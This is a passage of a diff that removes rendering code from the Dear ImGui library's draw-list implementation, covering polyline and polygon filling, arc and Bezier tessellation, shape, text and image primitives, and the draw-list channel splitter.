_VtxWritePtr[0].col = col_trans; - _VtxWritePtr[1].pos = temp_points[i * 4 + 1]; _VtxWritePtr[1].uv = opaque_uv; _VtxWritePtr[1].col = col; - _VtxWritePtr[2].pos = temp_points[i * 4 + 2]; _VtxWritePtr[2].uv = opaque_uv; _VtxWritePtr[2].col = col; - _VtxWritePtr[3].pos = temp_points[i * 4 + 3]; _VtxWritePtr[3].uv = opaque_uv; _VtxWritePtr[3].col = col_trans; - _VtxWritePtr += 4; - } - } - _VtxCurrentIdx += (ImDrawIdx)vtx_count; - } - else - { - // [PATH 4] Non texture-based, Non anti-aliased lines - const int idx_count = count * 6; - const int vtx_count = count * 4; // FIXME-OPT: Not sharing edges - PrimReserve(idx_count, vtx_count); - - for (int i1 = 0; i1 < count; i1++) - { - const int i2 = (i1 + 1) == points_count ? 0 : i1 + 1; - const ImVec2& p1 = points[i1]; - const ImVec2& p2 = points[i2]; - - float dx = p2.x - p1.x; - float dy = p2.y - p1.y; - IM_NORMALIZE2F_OVER_ZERO(dx, dy); - dx *= (thickness * 0.5f); - dy *= (thickness * 0.5f); - - _VtxWritePtr[0].pos.x = p1.x + dy; _VtxWritePtr[0].pos.y = p1.y - dx; _VtxWritePtr[0].uv = opaque_uv; _VtxWritePtr[0].col = col; - _VtxWritePtr[1].pos.x = p2.x + dy; _VtxWritePtr[1].pos.y = p2.y - dx; _VtxWritePtr[1].uv = opaque_uv; _VtxWritePtr[1].col = col; - _VtxWritePtr[2].pos.x = p2.x - dy; _VtxWritePtr[2].pos.y = p2.y + dx; _VtxWritePtr[2].uv = opaque_uv; _VtxWritePtr[2].col = col; - _VtxWritePtr[3].pos.x = p1.x - dy; _VtxWritePtr[3].pos.y = p1.y + dx; _VtxWritePtr[3].uv = opaque_uv; _VtxWritePtr[3].col = col; - _VtxWritePtr += 4; - - _IdxWritePtr[0] = (ImDrawIdx)(_VtxCurrentIdx); _IdxWritePtr[1] = (ImDrawIdx)(_VtxCurrentIdx + 1); _IdxWritePtr[2] = (ImDrawIdx)(_VtxCurrentIdx + 2); - _IdxWritePtr[3] = (ImDrawIdx)(_VtxCurrentIdx); _IdxWritePtr[4] = (ImDrawIdx)(_VtxCurrentIdx + 2); _IdxWritePtr[5] = (ImDrawIdx)(_VtxCurrentIdx + 3); - _IdxWritePtr += 6; - _VtxCurrentIdx += 4; - } - } -} - -// We intentionally avoid using ImVec2 and its math operators here to reduce cost to a minimum for debug/non-inlined builds. -void ImDrawList::AddConvexPolyFilled(const ImVec2* points, const int points_count, ImU32 col) -{ - if (points_count < 3) - return; - - const ImVec2 uv = _Data->TexUvWhitePixel; - - if (Flags & ImDrawListFlags_AntiAliasedFill) - { - // Anti-aliased Fill - const float AA_SIZE = _FringeScale; - const ImU32 col_trans = col & ~IM_COL32_A_MASK; - const int idx_count = (points_count - 2)*3 + points_count * 6; - const int vtx_count = (points_count * 2); - PrimReserve(idx_count, vtx_count); - - // Add indexes for fill - unsigned int vtx_inner_idx = _VtxCurrentIdx; - unsigned int vtx_outer_idx = _VtxCurrentIdx + 1; - for (int i = 2; i < points_count; i++) - { - _IdxWritePtr[0] = (ImDrawIdx)(vtx_inner_idx); _IdxWritePtr[1] = (ImDrawIdx)(vtx_inner_idx + ((i - 1) << 1)); _IdxWritePtr[2] = (ImDrawIdx)(vtx_inner_idx + (i << 1)); - _IdxWritePtr += 3; - } - - // Compute normals - ImVec2* temp_normals = (ImVec2*)alloca(points_count * sizeof(ImVec2)); //-V630 - for (int i0 = points_count - 1, i1 = 0; i1 < points_count; i0 = i1++) - { - const ImVec2& p0 = points[i0]; - const ImVec2& p1 = points[i1]; - float dx = p1.x - p0.x; - float dy = p1.y - p0.y; - IM_NORMALIZE2F_OVER_ZERO(dx, dy); - temp_normals[i0].x = dy; - temp_normals[i0].y = -dx; - } - - for (int i0 = points_count - 1, i1 = 0; i1 < points_count; i0 = i1++) - { - // Average normals - const ImVec2& n0 = temp_normals[i0]; - const ImVec2& n1 = temp_normals[i1]; - float dm_x = (n0.x + n1.x) * 0.5f; - float dm_y = (n0.y + n1.y) * 0.5f; - IM_FIXNORMAL2F(dm_x, dm_y); - dm_x *= AA_SIZE * 0.5f; - dm_y *= AA_SIZE * 0.5f; - - // Add vertices - _VtxWritePtr[0].pos.x = (points[i1].x - dm_x); _VtxWritePtr[0].pos.y = (points[i1].y - dm_y); _VtxWritePtr[0].uv = uv; _VtxWritePtr[0].col = col; // Inner - _VtxWritePtr[1].pos.x = (points[i1].x + dm_x); _VtxWritePtr[1].pos.y = (points[i1].y + dm_y); _VtxWritePtr[1].uv = uv; _VtxWritePtr[1].col = col_trans; // Outer - _VtxWritePtr += 2; - - // Add indexes for fringes - _IdxWritePtr[0] = (ImDrawIdx)(vtx_inner_idx + (i1 << 1)); _IdxWritePtr[1] = (ImDrawIdx)(vtx_inner_idx + (i0 << 1)); _IdxWritePtr[2] = (ImDrawIdx)(vtx_outer_idx + (i0 << 1)); - _IdxWritePtr[3] = (ImDrawIdx)(vtx_outer_idx + (i0 << 1)); _IdxWritePtr[4] = (ImDrawIdx)(vtx_outer_idx + (i1 << 1)); _IdxWritePtr[5] = (ImDrawIdx)(vtx_inner_idx + (i1 << 1)); - _IdxWritePtr += 6; - } - _VtxCurrentIdx += (ImDrawIdx)vtx_count; - } - else - { - // Non Anti-aliased Fill - const int idx_count = (points_count - 2)*3; - const int vtx_count = points_count; - PrimReserve(idx_count, vtx_count); - for (int i = 0; i < vtx_count; i++) - { - _VtxWritePtr[0].pos = points[i]; _VtxWritePtr[0].uv = uv; _VtxWritePtr[0].col = col; - _VtxWritePtr++; - } - for (int i = 2; i < points_count; i++) - { - _IdxWritePtr[0] = (ImDrawIdx)(_VtxCurrentIdx); _IdxWritePtr[1] = (ImDrawIdx)(_VtxCurrentIdx + i - 1); _IdxWritePtr[2] = (ImDrawIdx)(_VtxCurrentIdx + i); - _IdxWritePtr += 3; - } - _VtxCurrentIdx += (ImDrawIdx)vtx_count; - } -} - -void ImDrawList::PathArcToFast(const ImVec2& center, float radius, int a_min_of_12, int a_max_of_12) -{ - if (radius == 0.0f) - { - _Path.push_back(center); - return; - } - IM_ASSERT(a_min_of_12 <= a_max_of_12); - - // For legacy reason the PathArcToFast() always takes angles where 2*PI is represented by 12, - // but it is possible to set IM_DRAWLIST_ARCFAST_TESSELATION_MULTIPLIER to a higher value. This should compile to a no-op otherwise. -#if IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER != 1 - a_min_of_12 *= IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER; - a_max_of_12 *= IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER; -#endif - - _Path.reserve(_Path.Size + (a_max_of_12 - a_min_of_12 + 1)); - for (int a = a_min_of_12; a <= a_max_of_12; a++) - { - const ImVec2& c = _Data->ArcFastVtx[a % IM_ARRAYSIZE(_Data->ArcFastVtx)]; - _Path.push_back(ImVec2(center.x + c.x * radius, center.y + c.y * radius)); - } -} - -void ImDrawList::PathArcTo(const ImVec2& center, float radius, float a_min, float a_max, int num_segments) -{ - if (radius == 0.0f) - { - _Path.push_back(center); - return; - } - IM_ASSERT(a_min <= a_max); - - // Note that we are adding a point at both a_min and a_max. - // If you are trying to draw a full closed circle you don't want the overlapping points! - _Path.reserve(_Path.Size + (num_segments + 1)); - for (int i = 0; i <= num_segments; i++) - { - const float a = a_min + ((float)i / (float)num_segments) * (a_max - a_min); - _Path.push_back(ImVec2(center.x + ImCos(a) * radius, center.y + ImSin(a) * radius)); - } -} - -ImVec2 ImBezierCubicCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, float t) -{ - float u = 1.0f - t; - float w1 = u * u * u; - float w2 = 3 * u * u * t; - float w3 = 3 * u * t * t; - float w4 = t * t * t; - return ImVec2(w1 * p1.x + w2 * p2.x + w3 * p3.x + w4 * p4.x, w1 * p1.y + w2 * p2.y + w3 * p3.y + w4 * p4.y); -} - -ImVec2 ImBezierQuadraticCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, float t) -{ - float u = 1.0f - t; - float w1 = u * u; - float w2 = 2 * u * t; - float w3 = t * t; - return ImVec2(w1 * p1.x + w2 * p2.x + w3 * p3.x, w1 * p1.y + w2 * p2.y + w3 * p3.y); -} - -// Closely mimics ImBezierCubicClosestPointCasteljau() in imgui.cpp -static void PathBezierCubicCurveToCasteljau(ImVector* path, float x1, float y1, float x2, float y2, float x3, float y3, float x4, float y4, float tess_tol, int level) -{ - float dx = x4 - x1; - float dy = y4 - y1; - float d2 = (x2 - x4) * dy - (y2 - y4) * dx; - float d3 = (x3 - x4) * dy - (y3 - y4) * dx; - d2 = (d2 >= 0) ? d2 : -d2; - d3 = (d3 >= 0) ? d3 : -d3; - if ((d2 + d3) * (d2 + d3) < tess_tol * (dx * dx + dy * dy)) - { - path->push_back(ImVec2(x4, y4)); - } - else if (level < 10) - { - float x12 = (x1 + x2) * 0.5f, y12 = (y1 + y2) * 0.5f; - float x23 = (x2 + x3) * 0.5f, y23 = (y2 + y3) * 0.5f; - float x34 = (x3 + x4) * 0.5f, y34 = (y3 + y4) * 0.5f; - float x123 = (x12 + x23) * 0.5f, y123 = (y12 + y23) * 0.5f; - float x234 = (x23 + x34) * 0.5f, y234 = (y23 + y34) * 0.5f; - float x1234 = (x123 + x234) * 0.5f, y1234 = (y123 + y234) * 0.5f; - PathBezierCubicCurveToCasteljau(path, x1, y1, x12, y12, x123, y123, x1234, y1234, tess_tol, level + 1); - PathBezierCubicCurveToCasteljau(path, x1234, y1234, x234, y234, x34, y34, x4, y4, tess_tol, level + 1); - } -} - -static void PathBezierQuadraticCurveToCasteljau(ImVector* path, float x1, float y1, float x2, float y2, float x3, float y3, float tess_tol, int level) -{ - float dx = x3 - x1, dy = y3 - y1; - float det = (x2 - x3) * dy - (y2 - y3) * dx; - if (det * det * 4.0f < tess_tol * (dx * dx + dy * dy)) - { - path->push_back(ImVec2(x3, y3)); - } - else if (level < 10) - { - float x12 = (x1 + x2) * 0.5f, y12 = (y1 + y2) * 0.5f; - float x23 = (x2 + x3) * 0.5f, y23 = (y2 + y3) * 0.5f; - float x123 = (x12 + x23) * 0.5f, y123 = (y12 + y23) * 0.5f; - PathBezierQuadraticCurveToCasteljau(path, x1, y1, x12, y12, x123, y123, tess_tol, level + 1); - PathBezierQuadraticCurveToCasteljau(path, x123, y123, x23, y23, x3, y3, tess_tol, level + 1); - } -} - -void ImDrawList::PathBezierCubicCurveTo(const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, int num_segments) -{ - ImVec2 p1 = _Path.back(); - if (num_segments == 0) - { - PathBezierCubicCurveToCasteljau(&_Path, p1.x, p1.y, p2.x, p2.y, p3.x, p3.y, p4.x, p4.y, _Data->CurveTessellationTol, 0); // Auto-tessellated - } - else - { - float t_step = 1.0f / (float)num_segments; - for (int i_step = 1; i_step <= num_segments; i_step++) - _Path.push_back(ImBezierCubicCalc(p1, p2, p3, p4, t_step * i_step)); - } -} - -void ImDrawList::PathBezierQuadraticCurveTo(const ImVec2& p2, const ImVec2& p3, int num_segments) -{ - ImVec2 p1 = _Path.back(); - if (num_segments == 0) - { - PathBezierQuadraticCurveToCasteljau(&_Path, p1.x, p1.y, p2.x, p2.y, p3.x, p3.y, _Data->CurveTessellationTol, 0);// Auto-tessellated - } - else - { - float t_step = 1.0f / (float)num_segments; - for (int i_step = 1; i_step <= num_segments; i_step++) - _Path.push_back(ImBezierQuadraticCalc(p1, p2, p3, t_step * i_step)); - } -} - -void ImDrawList::PathRect(const ImVec2& a, const ImVec2& b, float rounding, ImDrawCornerFlags rounding_corners) -{ - rounding = ImMin(rounding, ImFabs(b.x - a.x) * ( ((rounding_corners & ImDrawCornerFlags_Top) == ImDrawCornerFlags_Top) || ((rounding_corners & ImDrawCornerFlags_Bot) == ImDrawCornerFlags_Bot) ? 0.5f : 1.0f ) - 1.0f); - rounding = ImMin(rounding, ImFabs(b.y - a.y) * ( ((rounding_corners & ImDrawCornerFlags_Left) == ImDrawCornerFlags_Left) || ((rounding_corners & ImDrawCornerFlags_Right) == ImDrawCornerFlags_Right) ? 0.5f : 1.0f ) - 1.0f); - - if (rounding <= 0.0f || rounding_corners == 0) - { - PathLineTo(a); - PathLineTo(ImVec2(b.x, a.y)); - PathLineTo(b); - PathLineTo(ImVec2(a.x, b.y)); - } - else - { - const float rounding_tl = (rounding_corners & ImDrawCornerFlags_TopLeft) ? rounding : 0.0f; - const float rounding_tr = (rounding_corners & ImDrawCornerFlags_TopRight) ? rounding : 0.0f; - const float rounding_br = (rounding_corners & ImDrawCornerFlags_BotRight) ? rounding : 0.0f; - const float rounding_bl = (rounding_corners & ImDrawCornerFlags_BotLeft) ? rounding : 0.0f; - PathArcToFast(ImVec2(a.x + rounding_tl, a.y + rounding_tl), rounding_tl, 6, 9); - PathArcToFast(ImVec2(b.x - rounding_tr, a.y + rounding_tr), rounding_tr, 9, 12); - PathArcToFast(ImVec2(b.x - rounding_br, b.y - rounding_br), rounding_br, 0, 3); - PathArcToFast(ImVec2(a.x + rounding_bl, b.y - rounding_bl), rounding_bl, 3, 6); - } -} - -void ImDrawList::AddLine(const ImVec2& p1, const ImVec2& p2, ImU32 col, float thickness) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - PathLineTo(p1 + ImVec2(0.5f, 0.5f)); - PathLineTo(p2 + ImVec2(0.5f, 0.5f)); - PathStroke(col, 0, thickness); -} - -// p_min = upper-left, p_max = lower-right -// Note we don't render 1 pixels sized rectangles properly. -void ImDrawList::AddRect(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding, ImDrawCornerFlags rounding_corners, float thickness) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - if (Flags & ImDrawListFlags_AntiAliasedLines) - PathRect(p_min + ImVec2(0.50f, 0.50f), p_max - ImVec2(0.50f, 0.50f), rounding, rounding_corners); - else - PathRect(p_min + ImVec2(0.50f, 0.50f), p_max - ImVec2(0.49f, 0.49f), rounding, rounding_corners); // Better looking lower-right corner and rounded non-AA shapes. - PathStroke(col, ImDrawFlags_Closed, thickness); -} - -void ImDrawList::AddRectFilled(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding, ImDrawCornerFlags rounding_corners) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - if (rounding > 0.0f) - { - PathRect(p_min, p_max, rounding, rounding_corners); - PathFillConvex(col); - } - else - { - PrimReserve(6, 4); - PrimRect(p_min, p_max, col); - } -} - -// p_min = upper-left, p_max = lower-right -void ImDrawList::AddRectFilledMultiColor(const ImVec2& p_min, const ImVec2& p_max, ImU32 col_upr_left, ImU32 col_upr_right, ImU32 col_bot_right, ImU32 col_bot_left) -{ - if (((col_upr_left | col_upr_right | col_bot_right | col_bot_left) & IM_COL32_A_MASK) == 0) - return; - - const ImVec2 uv = _Data->TexUvWhitePixel; - PrimReserve(6, 4); - PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 1)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 2)); - PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 2)); PrimWriteIdx((ImDrawIdx)(_VtxCurrentIdx + 3)); - PrimWriteVtx(p_min, uv, col_upr_left); - PrimWriteVtx(ImVec2(p_max.x, p_min.y), uv, col_upr_right); - PrimWriteVtx(p_max, uv, col_bot_right); - PrimWriteVtx(ImVec2(p_min.x, p_max.y), uv, col_bot_left); -} - -void ImDrawList::AddQuad(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - PathLineTo(p1); - PathLineTo(p2); - PathLineTo(p3); - PathLineTo(p4); - PathStroke(col, ImDrawFlags_Closed, thickness); -} - -void ImDrawList::AddQuadFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - PathLineTo(p1); - PathLineTo(p2); - PathLineTo(p3); - PathLineTo(p4); - PathFillConvex(col); -} - -void ImDrawList::AddTriangle(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - PathLineTo(p1); - PathLineTo(p2); - PathLineTo(p3); - PathStroke(col, ImDrawFlags_Closed, thickness); -} - -void ImDrawList::AddTriangleFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - PathLineTo(p1); - PathLineTo(p2); - PathLineTo(p3); - PathFillConvex(col); -} - -void ImDrawList::AddCircle(const ImVec2& center, float radius, ImU32 col, int num_segments, float thickness) -{ - if ((col & IM_COL32_A_MASK) == 0 || radius <= 0.0f) - return; - - // Obtain segment count - if (num_segments <= 0) - { - // Automatic segment count - num_segments = _CalcCircleAutoSegmentCount(radius); - } - else - { - // Explicit segment count (still clamp to avoid drawing insanely tessellated shapes) - num_segments = ImClamp(num_segments, 3, IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX); - } - - // Because we are filling a closed shape we remove 1 from the count of segments/points - const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; - if (num_segments == 12) - PathArcToFast(center, radius - 0.5f, 0, 12 - 1); - else - PathArcTo(center, radius - 0.5f, 0.0f, a_max, num_segments - 1); - PathStroke(col, ImDrawFlags_Closed, thickness); -} - -void ImDrawList::AddCircleFilled(const ImVec2& center, float radius, ImU32 col, int num_segments) -{ - if ((col & IM_COL32_A_MASK) == 0 || radius <= 0.0f) - return; - - // Obtain segment count - if (num_segments <= 0) - { - // Automatic segment count - num_segments = _CalcCircleAutoSegmentCount(radius); - } - else - { - // Explicit segment count (still clamp to avoid drawing insanely tessellated shapes) - num_segments = ImClamp(num_segments, 3, IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX); - } - - // Because we are filling a closed shape we remove 1 from the count of segments/points - const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; - if (num_segments == 12) - PathArcToFast(center, radius, 0, 12 - 1); - else - PathArcTo(center, radius, 0.0f, a_max, num_segments - 1); - PathFillConvex(col); -} - -// Guaranteed to honor 'num_segments' -void ImDrawList::AddNgon(const ImVec2& center, float radius, ImU32 col, int num_segments, float thickness) -{ - if ((col & IM_COL32_A_MASK) == 0 || num_segments <= 2) - return; - - // Because we are filling a closed shape we remove 1 from the count of segments/points - const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; - PathArcTo(center, radius - 0.5f, 0.0f, a_max, num_segments - 1); - PathStroke(col, ImDrawFlags_Closed, thickness); -} - -// Guaranteed to honor 'num_segments' -void ImDrawList::AddNgonFilled(const ImVec2& center, float radius, ImU32 col, int num_segments) -{ - if ((col & IM_COL32_A_MASK) == 0 || num_segments <= 2) - return; - - // Because we are filling a closed shape we remove 1 from the count of segments/points - const float a_max = (IM_PI * 2.0f) * ((float)num_segments - 1.0f) / (float)num_segments; - PathArcTo(center, radius, 0.0f, a_max, num_segments - 1); - PathFillConvex(col); -} - -// Cubic Bezier takes 4 controls points -void ImDrawList::AddBezierCubic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness, int num_segments) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - PathLineTo(p1); - PathBezierCubicCurveTo(p2, p3, p4, num_segments); - PathStroke(col, 0, thickness); -} - -// Quadratic Bezier takes 3 controls points -void ImDrawList::AddBezierQuadratic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness, int num_segments) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - PathLineTo(p1); - PathBezierQuadraticCurveTo(p2, p3, num_segments); - PathStroke(col, 0, thickness); -} - -void ImDrawList::AddText(const ImFont* font, float font_size, const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end, float wrap_width, const ImVec4* cpu_fine_clip_rect) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - if (text_end == NULL) - text_end = text_begin + strlen(text_begin); - if (text_begin == text_end) - return; - - // Pull default font/size from the shared ImDrawListSharedData instance - if (font == NULL) - font = _Data->Font; - if (font_size == 0.0f) - font_size = _Data->FontSize; - - IM_ASSERT(font->ContainerAtlas->TexID == _CmdHeader.TextureId); // Use high-level ImGui::PushFont() or low-level ImDrawList::PushTextureId() to change font. - - ImVec4 clip_rect = _CmdHeader.ClipRect; - if (cpu_fine_clip_rect) - { - clip_rect.x = ImMax(clip_rect.x, cpu_fine_clip_rect->x); - clip_rect.y = ImMax(clip_rect.y, cpu_fine_clip_rect->y); - clip_rect.z = ImMin(clip_rect.z, cpu_fine_clip_rect->z); - clip_rect.w = ImMin(clip_rect.w, cpu_fine_clip_rect->w); - } - font->RenderText(this, font_size, pos, col, clip_rect, text_begin, text_end, wrap_width, cpu_fine_clip_rect != NULL); -} - -void ImDrawList::AddText(const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end) -{ - AddText(NULL, 0.0f, pos, col, text_begin, text_end); -} - -void ImDrawList::AddImage(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min, const ImVec2& uv_max, ImU32 col) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - const bool push_texture_id = user_texture_id != _CmdHeader.TextureId; - if (push_texture_id) - PushTextureID(user_texture_id); - - PrimReserve(6, 4); - PrimRectUV(p_min, p_max, uv_min, uv_max, col); - - if (push_texture_id) - PopTextureID(); -} - -void ImDrawList::AddImageQuad(ImTextureID user_texture_id, const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& uv1, const ImVec2& uv2, const ImVec2& uv3, const ImVec2& uv4, ImU32 col) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - const bool push_texture_id = user_texture_id != _CmdHeader.TextureId; - if (push_texture_id) - PushTextureID(user_texture_id); - - PrimReserve(6, 4); - PrimQuadUV(p1, p2, p3, p4, uv1, uv2, uv3, uv4, col); - - if (push_texture_id) - PopTextureID(); -} - -void ImDrawList::AddImageRounded(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min, const ImVec2& uv_max, ImU32 col, float rounding, ImDrawCornerFlags rounding_corners) -{ - if ((col & IM_COL32_A_MASK) == 0) - return; - - if (rounding <= 0.0f || (rounding_corners & ImDrawCornerFlags_All) == 0) - { - AddImage(user_texture_id, p_min, p_max, uv_min, uv_max, col); - return; - } - - const bool push_texture_id = user_texture_id != _CmdHeader.TextureId; - if (push_texture_id) - PushTextureID(user_texture_id); - - int vert_start_idx = VtxBuffer.Size; - PathRect(p_min, p_max, rounding, rounding_corners); - PathFillConvex(col); - int vert_end_idx = VtxBuffer.Size; - ImGui::ShadeVertsLinearUV(this, vert_start_idx, vert_end_idx, p_min, p_max, uv_min, uv_max, true); - - if (push_texture_id) - PopTextureID(); -} - - -//----------------------------------------------------------------------------- -// [SECTION] ImDrawListSplitter -//----------------------------------------------------------------------------- -// FIXME: This may be a little confusing, trying to be a little too low-level/optimal instead of just doing vector swap.. -//----------------------------------------------------------------------------- - -void ImDrawListSplitter::ClearFreeMemory() -{ - for (int i = 0; i < _Channels.Size; i++) - { - if (i == _Current) - memset(&_Channels[i], 0, sizeof(_Channels[i])); // Current channel is a copy of CmdBuffer/IdxBuffer, don't destruct again - _Channels[i]._CmdBuffer.clear(); - _Channels[i]._IdxBuffer.clear(); - } - _Current = 0; - _Count = 1; - _Channels.clear(); -} - -void ImDrawListSplitter::Split(ImDrawList* draw_list, int channels_count) -{ - IM_UNUSED(draw_list); - IM_ASSERT(_Current == 0 && _Count <= 1 && "Nested channel splitting is not supported. Please use separate instances of ImDrawListSplitter."); - int old_channels_count = _Channels.Size; - if (old_channels_count < channels_count) - { - _Channels.reserve(channels_count); // Avoid over reserving since this is likely to stay stable - _Channels.resize(channels_count); - } - _Count = channels_count; - - // Channels[] (24/32 bytes each) hold storage that we'll swap with draw_list->_CmdBuffer/_IdxBuffer - // The content of Channels[0] at this point doesn't matter. We clear it to make state tidy in a debugger but we don't strictly need to. - // When we switch to the next channel, we'll copy draw_list->_CmdBuffer/_IdxBuffer into Channels[0] and then Channels[1] into draw_list->CmdBuffer/_IdxBuffer - memset(&_Channels[0], 0, sizeof(ImDrawChannel)); - for (int i = 1; i < channels_count; i++) - { - if (i >= old_channels_count) - { - IM_PLACEMENT_NEW(&_Channels[i]) ImDrawChannel(); - } - else - { - _Channels[i]._CmdBuffer.resize(0); - _Channels[i]._IdxBuffer.resize(0); - } - } -} - -void ImDrawListSplitter::Merge(ImDrawList* draw_list) -{ - // Note that we never use or rely on _Channels.Size because it is merely a buffer that we never shrink back to 0 to keep all sub-buffers ready for use. - if (_Count <= 1) - return; - - SetCurrentChannel(draw_list, 0); - draw_list->_PopUnusedDrawCmd(); - - // Calculate our final buffer sizes. Also fix the incorrect IdxOffset values in each command. - int new_cmd_buffer_count = 0; - int new_idx_buffer_count = 0; - ImDrawCmd* last_cmd = (_Count > 0 && draw_list->CmdBuffer.Size > 0) ? &draw_list->CmdBuffer.back() : NULL; - int idx_offset = last_cmd ? last_cmd->IdxOffset + last_cmd->ElemCount : 0; - for (int i = 1; i < _Count; i++) - { - ImDrawChannel& ch = _Channels[i]; - - // Equivalent of PopUnusedDrawCmd() for this channel's cmdbuffer and except we don't need to test for UserCallback. - if (ch._CmdBuffer.Size > 0 && ch._CmdBuffer.back().ElemCount == 0) - ch._CmdBuffer.pop_back(); - - if (ch._CmdBuffer.Size > 0 && last_cmd != NULL) - { - ImDrawCmd* next_cmd = &ch._CmdBuffer[0]; - if (ImDrawCmd_HeaderCompare(last_cmd, next_cmd) == 0 && last_cmd->UserCallback == NULL && next_cmd->UserCallback == NULL) - { - // Merge previous channel last draw command with current channel first draw command if matching. - last_cmd->ElemCount += next_cmd->ElemCount; - idx_offset += next_cmd->ElemCount; - ch._CmdBuffer.erase(ch._CmdBuffer.Data); // FIXME-OPT: Improve for multiple merges. - } - } - if (ch._CmdBuffer.Size > 0) - last_cmd = &ch._CmdBuffer.back(); - new_cmd_buffer_count += ch._CmdBuffer.Size; - new_idx_buffer_count += ch._IdxBuffer.Size; - for (int cmd_n = 0; cmd_n < ch._CmdBuffer.Size; cmd_n++) - { - ch._CmdBuffer.Data[cmd_n].IdxOffset = idx_offset; - idx_offset += ch._CmdBuffer.Data[cmd_n].ElemCount; - } - } - draw_list->CmdBuffer.resize(draw_list->CmdBuffer.Size + new_cmd_buffer_count); - draw_list->IdxBuffer.resize(draw_list->IdxBuffer.Size + new_idx_buffer_count); - - // Write commands and indices in order (they are fairly small structures, we don't copy vertices only indices) - ImDrawCmd* cmd_write = draw_list->CmdBuffer.Data + draw_list->CmdBuffer.Size - new_cmd_buffer_count; - ImDrawIdx* idx_write = draw_list->IdxBuffer.Data + draw_list->IdxBuffer.Size - new_idx_buffer_count; - for (int i = 1; i < _Count; i++) - { - ImDrawChannel& ch = _Channels[i]; - if (int sz = ch._CmdBuffer.Size) { memcpy(cmd_write, ch._CmdBuffer.Data, sz * sizeof(ImDrawCmd)); cmd_write += sz; } - if (int sz = ch._IdxBuffer.Size) { memcpy(idx_write, ch._IdxBuffer.Data, sz * sizeof(ImDrawIdx)); idx_write += sz; } - } - draw_list->_IdxWritePtr = idx_write; - - // Ensure there's always a non-callback draw command trailing the command-buffer - if (draw_list->CmdBuffer.Size == 0 || draw_list->CmdBuffer.back().UserCallback != NULL) - draw_list->AddDrawCmd(); - - // If current command is used with different settings we need to add a new command - ImDrawCmd* curr_cmd = &draw_list->CmdBuffer.Data[draw_list->CmdBuffer.Size - 1]; - if (curr_cmd->ElemCount == 0) - ImDrawCmd_HeaderCopy(curr_cmd, &draw_list->_CmdHeader); // Copy ClipRect, TextureId, VtxOffset - else if (ImDrawCmd_HeaderCompare(curr_cmd, &draw_list->_CmdHeader) != 0) - draw_list->AddDrawCmd(); - - _Count = 1; -} - -void ImDrawListSplitter::SetCurrentChannel(ImDrawList* draw_list, int idx) -{ - IM_ASSERT(idx >= 0 && idx < _Count); - if (_Current == idx) - return; - - // Overwrite ImVector (12/16 bytes), four times. This is merely a silly optimization instead of doing .swap() - memcpy(&_Channels.Data[_Current]._CmdBuffer, &draw_list->CmdBuffer, sizeof(draw_list->CmdBuffer)); - memcpy(&_Channels.Data[_Current]._IdxBuffer, &draw_list->IdxBuffer, sizeof(draw_list->IdxBuffer)); - _Current = idx; - memcpy(&draw_list->CmdBuffer, &_Channels.Data[idx]._CmdBuffer, sizeof(draw_list->CmdBuffer)); - memcpy(&draw_list->IdxBuffer, &_Channels.Data[idx]._IdxBuffer, sizeof(draw_list->IdxBuffer)); - draw_list->_IdxWritePtr = draw_list->IdxBuffer.Data + draw_list->IdxBuffer.Size; - - // If current command is used with different settings we need to add a new command - ImDrawCmd* curr_cmd = (draw_list->CmdBuffer.Size == 0) ? NULL : &draw_list->CmdBuffer.Data[draw_list->CmdBuffer.Size - 1]; - if (curr_cmd == NULL) - draw_list->AddDrawCmd(); - else if (curr_cmd->ElemCount == 0) - ImDrawCmd_HeaderCopy(curr_cmd, &draw_list->_CmdHeader); // Copy ClipRect, TextureId, VtxOffset - else if (ImDrawCmd_HeaderCompare(curr_cmd, &draw_list->_CmdHeader) != 0) - draw_list->AddDrawCmd(); -} - -//----------------------------------------------------------------------------- -// [SECTION] ImDrawData 